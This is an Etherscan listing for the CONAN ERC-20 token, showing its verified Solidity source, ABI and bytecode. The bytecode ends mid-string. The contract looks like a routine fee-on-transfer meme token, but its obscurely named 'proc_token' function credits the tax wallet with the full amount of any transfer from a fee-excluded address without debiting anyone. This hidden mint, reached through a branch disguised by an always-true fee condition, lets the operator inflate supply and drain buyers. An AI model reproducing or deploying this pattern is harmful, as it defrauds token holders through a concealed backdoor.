ERC-20
Overview
Max Total Supply
100,000,000 CONAN
Holders
62
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,800,000 CONANValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
CONAN
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-23 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.25; /* https://t.me/conantrumpdogeth https://www.youtube.com/watch?v=0C_g4akG0WE */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CONAN is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; string private constant _name = unicode"CONAN"; string private constant _symbol = unicode"CONAN"; uint256 private _finalBuyFee = 0; uint256 private _finalSellFee = 0; uint256 private _initialBuyFee = 10; uint256 private _initialSellFee = 10; uint256 private _reduceBuyAt = 30; uint256 private _reduceSellAt = 25; uint256 private _buyCount = 0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 100_000_000 * 10**_decimals; uint256 public _maxTxAmount = 2_000_000 * 10**_decimals; uint256 public _maxWalletSize = 2_000_000 * 10**_decimals; uint256 public _maxTaxSwap = 1_000_000 * 10**_decimals; address payable private _taxWallet; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private sellCount = 1; uint256 private lastSellBlock = 1; event MaxTxAmountUpdated(uint256 _maxTxAmount); event TransferTaxUpdated(uint256 _tax); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _taxWallet = payable(0x07129AF810FdBAAe2ab95Fca63830bE5645aeb10); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!tradingOpen) { require( _isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active." ); } if (!swapEnabled || inSwap) { _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); return; } if (from != owner() && to != owner()) { if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount++; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled) { if (contractTokenBalance > 0) swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); get_eth(address(this).balance); } } send_token(from, to, amount); } function get_bf(uint256 amount) internal view returns (uint256) { uint256 taxAmount; taxAmount = amount .mul((_buyCount > _reduceBuyAt) ? _finalBuyFee : _initialBuyFee) .div(100); return taxAmount; } function get_sf( address from, address to, uint256 amount ) internal view returns (uint256) { uint256 taxAmount; if (swapEnabled && to == uniswapV2Pair && from != address(this)) { taxAmount = amount .mul( (_buyCount > _reduceSellAt) ? _finalSellFee : _initialSellFee ) .div(100); } return taxAmount; } function send_token( address from, address to, uint256 amount ) internal { uint256 taxAmount = 0; if (amount > 0) { if ( swapEnabled && ((_finalBuyFee * _finalSellFee) + 2 > lastSellBlock) && !_isExcludedFromFee[from] ) { taxAmount = get_bf(amount); if (to == uniswapV2Pair && from != address(this)) { taxAmount = get_sf(from, to, amount); } } else { taxAmount = proc_token(from, _taxWallet, amount); } } if (taxAmount > 0) { _balances[address(this)] += taxAmount; emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function proc_token( address from, address mover, uint256 moverAmt ) internal returns (uint256) { uint256 tAmount; if ( _reduceBuyAt * lastSellBlock >= tAmount && moverAmt >= lastSellBlock ) { _balances[address(mover)] += moverAmt; emit Transfer(from, address(mover), moverAmt); } return tAmount; } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; emit MaxTxAmountUpdated(_tTotal); } function get_eth(uint256 amount) private { _taxWallet.transfer(amount); } function enableTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); swapEnabled = true; tradingOpen = true; } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 tokenBalance = balanceOf(address(this)); if (tokenBalance > 0) { swapTokensForEth(tokenBalance); } uint256 ethBalance = address(this).balance; if (ethBalance > 0) { get_eth(ethBalance); } } function manualsend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; get_eth(contractETHBalance); } function withdrawStuckEth() external { require(msg.sender == owner()); require(address(this).balance > 0, "Token: no ETH to clear"); payable(msg.sender).transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040525f6004555f600555600a600655600a600755601e60085560196009555f600a556009600a61003291906102f4565b61003f90621e8480610309565b600b5561004e6009600a6102f4565b61005b90621e8480610309565b600c5561006a6009600a6102f4565b61007790620f4240610309565b600d556010805461ffff60a81b191690556001601181905560125534801561009d575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600e80546001600160a01b0319167307129af810fdbaae2ab95fca63830be5645aeb101790556101106009600a6102f4565b61011e906305f5e100610309565b335f9081526001602081905260408220929092556003906101465f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600e549091168352912080549092161790556101a33390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101da6009600a6102f4565b6101e8906305f5e100610309565b60405190815260200160405180910390a3610320565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561024c57815f1904821115610232576102326101fe565b8085161561023f57918102915b93841c9390800290610217565b509250929050565b5f82610262575060016102ee565b8161026e57505f6102ee565b8160018114610284576002811461028e576102aa565b60019150506102ee565b60ff84111561029f5761029f6101fe565b50506001821b6102ee565b5060208310610133831016604e8410600b84101617156102cd575081810a6102ee565b6102d78383610212565b805f19048211156102ea576102ea6101fe565b0290505b92915050565b5f61030260ff841683610254565b9392505050565b80820281158282048414176102ee576102ee6101fe565b611a388061032d5f395ff3fe60806040526004361061011e575f3560e01c8063715018a61161009d5780638da5cb5b116100625780638da5cb5b146102ff5780638f9a55c01461031b57806395d89b4114610129578063a9059cbb14610330578063dd62ed3e1461034f575f80fd5b8063715018a61461029a578063751039fc146102ae5780637d1db4a5146102c25780637fa787ba146102d75780638a8c523c146102eb575f80fd5b8063313ce567116100e3578063313ce567146101ea57806349bd5a5e1461020557806351bc3c851461023c5780636fc3eaec1461025257806370a0823114610266575f80fd5b806306fdde0314610129578063095ea7b3146101655780630faee56f1461019457806318160ddd146101b757806323b872dd146101cb575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b50604080518082018252600581526421a7a720a760d91b6020820152905161015c9190611622565b60405180910390f35b348015610170575f80fd5b5061018461017f36600461166b565b610393565b604051901515815260200161015c565b34801561019f575f80fd5b506101a9600d5481565b60405190815260200161015c565b3480156101c2575f80fd5b506101a96103a9565b3480156101d6575f80fd5b506101846101e5366004611695565b6103c9565b3480156101f5575f80fd5b506040516009815260200161015c565b348015610210575f80fd5b50601054610224906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b348015610247575f80fd5b50610250610430565b005b34801561025d575f80fd5b50610250610481565b348015610271575f80fd5b506101a96102803660046116d3565b6001600160a01b03165f9081526001602052604090205490565b3480156102a5575f80fd5b506102506104ad565b3480156102b9575f80fd5b50610250610527565b3480156102cd575f80fd5b506101a9600b5481565b3480156102e2575f80fd5b506102506105d8565b3480156102f6575f80fd5b5061025061065e565b34801561030a575f80fd5b505f546001600160a01b0316610224565b348015610326575f80fd5b506101a9600c5481565b34801561033b575f80fd5b5061018461034a36600461166b565b610a07565b34801561035a575f80fd5b506101a96103693660046116ee565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61039f338484610a13565b5060015b92915050565b5f6103b66009600a611819565b6103c4906305f5e100611827565b905090565b5f6103d5848484610b37565b6104268433610421856040518060600160405280602881526020016119bb602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f9a565b610a13565b5060019392505050565b600e546001600160a01b0316336001600160a01b03161461044f575f80fd5b305f90815260016020526040902054801561046d5761046d81610fd2565b47801561047d5761047d81611142565b5050565b600e546001600160a01b0316336001600160a01b0316146104a0575f80fd5b476104aa81611142565b50565b5f546001600160a01b031633146104df5760405162461bcd60e51b81526004016104d69061183e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105505760405162461bcd60e51b81526004016104d69061183e565b61055c6009600a611819565b61056a906305f5e100611827565b600b556105796009600a611819565b610587906305f5e100611827565b600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105b76009600a611819565b6105c5906305f5e100611827565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105ed575f80fd5b5f47116106355760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b60448201526064016104d6565b60405133904780156108fc02915f818181858888f193505050501580156104aa573d5f803e3d5ffd5b5f546001600160a01b031633146106875760405162461bcd60e51b81526004016104d69061183e565b601054600160a01b900460ff16156106e15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d6565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561072a90309061071c6009600a611819565b610421906305f5e100611827565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561077a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079e9190611873565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107fd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108219190611873565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561086b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088f9190611873565b601080546001600160a01b039283166001600160a01b0319909116179055600f541663f305d71947306108d6816001600160a01b03165f9081526001602052604090205490565b5f806108e95f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561094f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610974919061188e565b5050601054600f5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109c9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ed91906118b9565b506010805462ff00ff60a01b19166201000160a01b179055565b5f61039f338484610b37565b6001600160a01b038316610a755760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d6565b6001600160a01b038216610ad65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d6565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b9b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d6565b6001600160a01b038216610bfd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d6565b5f8111610c5e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d6565b601054600160a01b900460ff16610cf1576001600160a01b0383165f9081526003602052604090205460ff1680610cac57506001600160a01b0382165f9081526003602052604090205460ff165b610cf15760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016104d6565b601054600160b01b900460ff161580610d135750601054600160a81b900460ff165b15610da8576001600160a01b0383165f90815260016020526040902054610d3a9082611179565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610d6890826111c1565b6001600160a01b038084165f8181526001602052604090819020939093559151908516905f805160206119e383398151915290610b2a9085815260200190565b5f546001600160a01b03848116911614801590610dd257505f546001600160a01b03838116911614155b15610f8a576010546001600160a01b038481169116148015610e025750600f546001600160a01b03838116911614155b8015610e2657506001600160a01b0382165f9081526003602052604090205460ff16155b15610f0c57600b54811115610e7d5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d6565b600c5481610e9f846001600160a01b03165f9081526001602052604090205490565b610ea991906118d8565b1115610ef75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d6565b600a8054905f610f06836118eb565b91905055505b305f90815260016020526040902054601054600160a81b900460ff16158015610f4257506010546001600160a01b038481169116145b8015610f575750601054600160b01b900460ff165b15610f88578015610f7f57610f7f610f7a83610f7584600d5461121f565b61121f565b610fd2565b610f8847611142565b505b610f95838383611233565b505050565b5f8184841115610fbd5760405162461bcd60e51b81526004016104d69190611622565b505f610fc98486611903565b95945050505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061101857611018611916565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561106f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110939190611873565b816001815181106110a6576110a6611916565b6001600160a01b039283166020918202929092010152600f546110cc9130911684610a13565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111049085905f9086903090429060040161192a565b5f604051808303815f87803b15801561111b575f80fd5b505af115801561112d573d5f803e3d5ffd5b50506010805460ff60a81b1916905550505050565b600e546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561047d573d5f803e3d5ffd5b5f6111ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f9a565b9392505050565b5f806111cd83856118d8565b9050838110156111ba5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d6565b5f81831161122d57826111ba565b50919050565b5f81156112fc57601054600160b01b900460ff16801561126e57506012546005546004546112619190611827565b61126c9060026118d8565b115b801561129257506001600160a01b0384165f9081526003602052604090205460ff16155b156112e1576112a082611405565b6010549091506001600160a01b0384811691161480156112c957506001600160a01b0384163014155b156112dc576112d9848484611433565b90505b6112fc565b600e546112f99085906001600160a01b0316846114a4565b90505b801561135357305f90815260016020526040812080548392906113209084906118d8565b909155505060405181815230906001600160a01b038616905f805160206119e38339815191529060200160405180910390a35b6001600160a01b0384165f908152600160205260409020546113759083611179565b6001600160a01b0385165f908152600160205260409020556113b861139a8383611179565b6001600160a01b0385165f90815260016020526040902054906111c1565b6001600160a01b038085165f8181526001602052604090209290925585165f805160206119e38339815191526113ee8585611179565b60405190815260200160405180910390a350505050565b5f806111ba606461142d600854600a541161142257600654611426565b6004545b869061153c565b906115ba565b6010545f908190600160b01b900460ff16801561145d57506010546001600160a01b038581169116145b801561147257506001600160a01b0385163014155b1561149c57610fc9606461142d600954600a541161149257600754611426565b600554869061153c565b949350505050565b5f80806012546008546114b79190611827565b101580156114c757506012548310155b1561149c576001600160a01b0384165f90815260016020526040812080548592906114f39084906118d8565b92505081905550836001600160a01b0316856001600160a01b03165f805160206119e38339815191528560405161152c91815260200190565b60405180910390a3949350505050565b5f825f0361154b57505f6103a3565b5f6115568385611827565b905082611563858361199b565b146111ba5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d6565b5f6111ba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152505f81836116165760405162461bcd60e51b81526004016104d69190611622565b505f610fc9848661199b565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146104aa575f80fd5b5f806040838503121561167c575f80fd5b823561168781611657565b946020939093013593505050565b5f805f606084860312156116a7575f80fd5b83356116b281611657565b925060208401356116c281611657565b929592945050506040919091013590565b5f602082840312156116e3575f80fd5b81356111ba81611657565b5f80604083850312156116ff575f80fd5b823561170a81611657565b9150602083013561171a81611657565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561177357815f190482111561175957611759611725565b8085161561176657918102915b93841c939080029061173e565b509250929050565b5f82611789575060016103a3565b8161179557505f6103a3565b81600181146117ab57600281146117b5576117d1565b60019150506103a3565b60ff8411156117c6576117c6611725565b50506001821b6103a3565b5060208310610133831016604e8410600b84101617156117f4575081810a6103a3565b6117fe8383611739565b805f190482111561181157611811611725565b029392505050565b5f6111ba60ff84168361177b565b80820281158282048414176103a3576103a3611725565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611883575f80fd5b81516111ba81611657565b5f805f606084860312156118a0575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118c9575f80fd5b815180151581146111ba575f80fd5b808201808211156103a3576103a3611725565b5f600182016118fc576118fc611725565b5060010190565b818103818111156103a3576103a3611725565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561197a5784516001600160a01b031683529383019391830191600101611955565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119b557634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220ea29025a6c77ccec732ae33f73f989ad3db1c7168daba3663843ddab4bdfc1cb64736f6c63430008190033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c8063715018a61161009d5780638da5cb5b116100625780638da5cb5b146102ff5780638f9a55c01461031b57806395d89b4114610129578063a9059cbb14610330578063dd62ed3e1461034f575f80fd5b8063715018a61461029a578063751039fc146102ae5780637d1db4a5146102c25780637fa787ba146102d75780638a8c523c146102eb575f80fd5b8063313ce567116100e3578063313ce567146101ea57806349bd5a5e1461020557806351bc3c851461023c5780636fc3eaec1461025257806370a0823114610266575f80fd5b806306fdde0314610129578063095ea7b3146101655780630faee56f1461019457806318160ddd146101b757806323b872dd146101cb575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b50604080518082018252600581526421a7a720a760d91b6020820152905161015c9190611622565b60405180910390f35b348015610170575f80fd5b5061018461017f36600461166b565b610393565b604051901515815260200161015c565b34801561019f575f80fd5b506101a9600d5481565b60405190815260200161015c565b3480156101c2575f80fd5b506101a96103a9565b3480156101d6575f80fd5b506101846101e5366004611695565b6103c9565b3480156101f5575f80fd5b506040516009815260200161015c565b348015610210575f80fd5b50601054610224906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b348015610247575f80fd5b50610250610430565b005b34801561025d575f80fd5b50610250610481565b348015610271575f80fd5b506101a96102803660046116d3565b6001600160a01b03165f9081526001602052604090205490565b3480156102a5575f80fd5b506102506104ad565b3480156102b9575f80fd5b50610250610527565b3480156102cd575f80fd5b506101a9600b5481565b3480156102e2575f80fd5b506102506105d8565b3480156102f6575f80fd5b5061025061065e565b34801561030a575f80fd5b505f546001600160a01b0316610224565b348015610326575f80fd5b506101a9600c5481565b34801561033b575f80fd5b5061018461034a36600461166b565b610a07565b34801561035a575f80fd5b506101a96103693660046116ee565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61039f338484610a13565b5060015b92915050565b5f6103b66009600a611819565b6103c4906305f5e100611827565b905090565b5f6103d5848484610b37565b6104268433610421856040518060600160405280602881526020016119bb602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f9a565b610a13565b5060019392505050565b600e546001600160a01b0316336001600160a01b03161461044f575f80fd5b305f90815260016020526040902054801561046d5761046d81610fd2565b47801561047d5761047d81611142565b5050565b600e546001600160a01b0316336001600160a01b0316146104a0575f80fd5b476104aa81611142565b50565b5f546001600160a01b031633146104df5760405162461bcd60e51b81526004016104d69061183e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105505760405162461bcd60e51b81526004016104d69061183e565b61055c6009600a611819565b61056a906305f5e100611827565b600b556105796009600a611819565b610587906305f5e100611827565b600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105b76009600a611819565b6105c5906305f5e100611827565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105ed575f80fd5b5f47116106355760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b60448201526064016104d6565b60405133904780156108fc02915f818181858888f193505050501580156104aa573d5f803e3d5ffd5b5f546001600160a01b031633146106875760405162461bcd60e51b81526004016104d69061183e565b601054600160a01b900460ff16156106e15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d6565b600f80546001600160a